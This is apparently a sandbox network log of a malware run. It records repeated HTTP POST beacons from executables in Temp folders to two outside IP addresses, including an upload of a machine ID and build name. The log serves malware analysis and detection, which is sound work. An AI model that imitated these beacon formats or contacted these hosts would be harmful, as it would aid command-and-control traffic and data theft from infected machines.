Jul 27, 2024 03:19:41.910078049 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:42.650343895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:42.658262014 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:42.905970097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49730	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:43.024112940 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:43.773355961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:43.774187088 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:44.020200014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49731	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:44.127804041 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:44.874772072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:44.896192074 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:45.141974926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49732	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:45.253092051 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:46.023435116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:46.024313927 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:46.279884100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49733	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:46.393521070 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:47.138226032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:47.180027962 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:47.424822092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49734	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:47.534274101 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:48.283730030 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:48.284821033 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:48.532383919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49735	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:48.643223047 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:49.396872997 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:49.397524118 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:49.644437075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49736	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:49.756335020 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:50.502927065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:50.503607988 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:50.749378920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49737	85.28.47.31	80	7856	C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:50.572915077 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 03:19:51.201641083 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:51.204125881 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJJECFIECBGDGCAAAEH Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 41 45 48 2d 2d 0d 0a Data Ascii: ------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------HJJJECFIECBGDGCAAAEHContent-Disposition: form-data; name="build"sila------HJJJECFIECBGDGCAAAEH--
Jul 27, 2024 03:19:51.399768114 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49739	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:50.863523960 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:51.613019943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:51.613617897 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:51.861418009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49740	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:51.987914085 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:52.734481096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:52.735944033 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:52.982264042 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49742	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:53.098351002 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:53.859653950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:53.885924101 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:54.131352901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49743	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:54.252501965 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:54.990791082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
